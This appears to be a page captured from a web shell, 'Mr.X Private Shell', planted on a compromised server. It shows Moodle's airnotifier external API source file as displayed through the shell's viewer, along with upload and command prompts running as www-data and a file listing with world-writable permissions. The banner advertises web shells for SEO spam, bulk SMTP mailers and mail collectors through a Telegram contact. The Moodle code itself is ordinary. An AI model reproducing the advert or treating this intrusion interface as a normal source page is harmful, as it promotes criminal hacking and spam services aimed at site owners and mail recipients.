__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

use core_external\external_api;
use core_external\external_function_parameters;
use core_external\external_multiple_structure;
use core_external\external_single_structure;
use core_external\external_value;
use core_external\external_warnings;

/**
 * External API for airnotifier web services
 *
 * @package    message_airnotifier
 * @category   external
 * @copyright  2012 Jerome Mouneyrac <jerome@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since Moodle 2.7
 */
class message_airnotifier_external extends external_api {

    /**
     * Returns description of method parameters
     *
     * @since Moodle 2.7
     */
    public static function is_system_configured_parameters() {
        return new external_function_parameters(
                array()
        );
    }

    /**
     * Tests whether the airnotifier settings have been configured
     *
     * @since Moodle 2.7
     */
    public static function is_system_configured() {
        global $DB;

        // First, check if the plugin is disabled.
        $processor = $DB->get_record('message_processors', array('name' => 'airnotifier'), '*', MUST_EXIST);
        if (!$processor->enabled) {
            return 0;
        }

        // Then, check if the plugin is completly configured.
        $manager = new message_airnotifier_manager();
        return (int) $manager->is_system_configured();
    }

    /**
     * Returns description of method result value
     *
     * @return external_single_structure
     * @since Moodle 2.7
     */
    public static function is_system_configured_returns() {
        return new external_value( PARAM_INT, '0 if the system is not configured, 1 otherwise');
    }

    /**
     * Returns description of method parameters
     *
     * @since Moodle 2.7
     */
    public static function are_notification_preferences_configured_parameters() {
        return new external_function_parameters(
                array(
                    'userids' => new external_multiple_structure(new external_value(PARAM_INT, 'user ID')),
                )
        );
    }

    /**
     * Check if the users have notification preferences configured for the airnotifier plugin
     *
     * @param array $userids Array of user ids
     * @since Moodle 2.7
     */
    public static function are_notification_preferences_configured($userids) {
        global $CFG, $USER, $DB;

        require_once($CFG->dirroot . '/message/lib.php');
        $params = self::validate_parameters(self::are_notification_preferences_configured_parameters(),
                array('userids' => $userids));

        list($sqluserids, $params) = $DB->get_in_or_equal($params['userids'], SQL_PARAMS_NAMED);
        $uselect = ', ' . context_helper::get_preload_record_columns_sql('ctx');
        $ujoin = "LEFT JOIN {context} ctx ON (ctx.instanceid = u.id AND ctx.contextlevel = :contextlevel)";
        $params['contextlevel'] = CONTEXT_USER;
        $usersql = "SELECT u.* $uselect
                      FROM {user} u $ujoin
                     WHERE u.id $sqluserids";
        $users = $DB->get_recordset_sql($usersql, $params);

        $result = array(
            'users' => [],
            'warnings' => []
        );
        $hasuserupdatecap = has_capability('moodle/user:update', context_system::instance());
        foreach ($users as $user) {

            $currentuser = ($user->id == $USER->id);

            if ($currentuser or $hasuserupdatecap) {

                if (!empty($user->deleted)) {
                    $warning = [];
                    $warning['item'] = 'user';
                    $warning['itemid'] = $user->id;
                    $warning['warningcode'] = '1';
                    $warning['message'] = "User $user->id was deleted";
                    $result['warnings'][] = $warning;
                    continue;
                }

                $preferences = [];
                $preferences['userid'] = $user->id;
                $preferences['configured'] = 0;

                // Now we get for all the providers and all the states
                // the user preferences to check if at least one is enabled for airnotifier plugin.
                $providers = message_get_providers_for_user($user->id);
                $configured = false;

                foreach ($providers as $provider) {
                    if ($configured) {
                        break;
                    }

                    $prefstocheck = [];
                    $prefname = 'message_provider_'.$provider->component.'_'.$provider->name.'_enabled';

                    // First get forced settings.
                    if ($forcedpref = get_config('message', $prefname)) {
                        $prefstocheck = array_merge($prefstocheck, explode(',', $forcedpref));
                    }

                    // Then get user settings.
                    if ($userpref = get_user_preferences($prefname, '', $user->id)) {
                        $prefstocheck = array_merge($prefstocheck, explode(',', $userpref));
                    }

                    if (in_array('airnotifier', $prefstocheck)) {
                        $preferences['configured'] = 1;
                        $configured = true;
                        break;
                    }
                }

                $result['users'][] = $preferences;
            } else if (!$hasuserupdatecap) {
                $warning = [];
                $warning['item'] = 'user';
                $warning['itemid'] = $user->id;
                $warning['warningcode'] = '2';
                $warning['message'] = "You don't have permissions for view user $user->id preferences";
                $result['warnings'][] = $warning;
            }

        }
        $users->close();

        return $result;
    }

    /**
     * Returns description of method result value
     *
     * @return external_single_structure
     * @since Moodle 2.7
     */
    public static function are_notification_preferences_configured_returns() {
        return new external_single_structure(
            array(
                'users' => new external_multiple_structure(
                    new external_single_structure(
                        array (
                            'userid'     => new external_value(PARAM_INT, 'userid id'),
                            'configured' => new external_value(PARAM_INT,
                                '1 if the user preferences have been configured and 0 if not')
                        )
                    ),
                    'list of preferences by user'),
                'warnings' => new external_warnings()
            )
        );
    }

    /**
     * Returns description of method parameters
     *
     * @since Moodle 3.2
     */
    public static function get_user_devices_parameters() {
        return new external_function_parameters(
            array(
                'appid' => new external_value(PARAM_NOTAGS, 'App unique id (usually a reversed domain)'),
                'userid' => new external_value(PARAM_INT, 'User id, 0 for current user', VALUE_DEFAULT, 0)
            )
        );
    }

    /**
     * Return the list of mobile devices that are registered in Moodle for the given user.
     *
     * @param  string  $appid  app unique id (usually a reversed domain)
     * @param  integer $userid the user id, 0 for current user
     * @return array warnings and devices
     * @throws moodle_exception
     * @since Moodle 3.2
     */
    public static function get_user_devices($appid, $userid = 0) {
        global $USER;

        $params = self::validate_parameters(
            self::get_user_devices_parameters(),
            array(
                'appid' => $appid,
                'userid' => $userid,
            )
        );

        $context = context_system::instance();
        self::validate_context($context);

        if (empty($params['userid'])) {
            $user = $USER;
        } else {
            $user = core_user::get_user($params['userid'], '*', MUST_EXIST);
            core_user::require_active_user($user);
            // Allow only admins to retrieve other users devices.
            if ($user->id != $USER->id) {
                require_capability('moodle/site:config', $context);
            }
        }

        $warnings = array();
        $devices = array();
        // Check if mobile notifications are enabled.
        if (!self::is_system_configured()) {
            $warnings[] = array(
                'item' => 'user',
                'itemid' => $user->id,
                'warningcode' => 'systemnotconfigured',
                'message' => 'Mobile notifications are not configured'
            );
        } else {
            // We catch exceptions here because get_user_devices may try to connect to Airnotifier.
            try {
                $manager = new message_airnotifier_manager();
                $devices = $manager->get_user_devices($appid, $user->id);
            } catch (Exception $e) {
                $warnings[] = array(
                    'item' => 'user',
                    'itemid' => $user->id,
                    'warningcode' => 'errorgettingdevices',
                    'message' => $e->getMessage()
                );
            }
        }

        return array(
            'devices' => $devices,
            'warnings' => $warnings
        );
    }

    /**
     * Returns description of method result value
     *
     * @return external_single_structure
     * @since Moodle 3.2
     */
    public static function get_user_devices_returns() {
        return new external_single_structure(
            array(
                'devices' => new external_multiple_structure(
                    new external_single_structure(
                        array (
                            'id' => new external_value(PARAM_INT, 'Device id (in the message_airnotifier table)'),
                            'appid' => new external_value(PARAM_NOTAGS, 'The app id, something like com.moodle.moodlemobile'),
                            'name' => new external_value(PARAM_NOTAGS, 'The device name, \'occam\' or \'iPhone\' etc.'),
                            'model' => new external_value(PARAM_NOTAGS, 'The device model \'Nexus4\' or \'iPad1,1\' etc.'),
                            'platform' => new external_value(PARAM_NOTAGS, 'The device platform \'iOS\' or \'Android\' etc.'),
                            'version' => new external_value(PARAM_NOTAGS, 'The device version \'6.1.2\' or \'4.2.2\' etc.'),
                            'pushid' => new external_value(PARAM_RAW, 'The device PUSH token/key/identifier/registration id'),
                            'uuid' => new external_value(PARAM_RAW, 'The device UUID'),
                            'enable' => new external_value(PARAM_INT, 'Whether the device is enabled or not'),
                            'timecreated' => new external_value(PARAM_INT, 'Time created'),
                            'timemodified' => new external_value(PARAM_INT, 'Time modified'),
                        )
                    ),
                    'List of devices'
                ),
                'warnings' => new external_warnings()
            )
        );
    }

    /**
     * Returns description of method parameters
     *
     * @since Moodle 3.2
     */
    public static function enable_device_parameters() {
        return new external_function_parameters(
            array(
                'deviceid' => new external_value(PARAM_INT, 'The device id'),
                'enable' => new external_value(PARAM_BOOL, 'True for enable the device, false otherwise')
            )
        );
    }

    /**
     * Enables or disables a registered user device so it can receive Push notifications
     *
     * @param  integer $deviceid the device id
     * @param  bool $enable whether to enable the device
     * @return array warnings and success status
     * @throws moodle_exception
     * @since Moodle 3.2
     */
    public static function enable_device($deviceid, $enable) {
        global $USER;

        $params = self::validate_parameters(
            self::enable_device_parameters(),
            array(
                'deviceid' => $deviceid,
                'enable' => $enable,
            )
        );

        $context = context_system::instance();
        self::validate_context($context);
        require_capability('message/airnotifier:managedevice', $context);

        if (!message_airnotifier_manager::enable_device($params['deviceid'], $params['enable'])) {
            throw new moodle_exception('unknowndevice', 'message_airnotifier');
        }

        return array(
            'success' => true,
            'warnings' => array()
        );
    }

    /**
     * Returns description of method result value
     *
     * @return external_single_structure
     * @since Moodle 3.2
     */
    public static function enable_device_returns() {
        return new external_single_structure(
            array(
                'success' => new external_value(PARAM_BOOL, 'True if success'),
                'warnings' => new external_warnings()
            )
        );
    }
}

Filemanager

Name Type Size Permission Actions
classes Folder 0777
db Folder 0777
lang Folder 0777
tests Folder 0777
yui Folder 0777
checkconfiguration.php File 3.86 KB 0777
externallib.php File 13.56 KB 0777
lib.php File 1.68 KB 0777
message_output_airnotifier.php File 12.13 KB 0777
requestaccesskey.php File 4.05 KB 0777
rest.php File 1.64 KB 0777
settings.php File 4.23 KB 0777
version.php File 1.18 KB 0777
Filemanager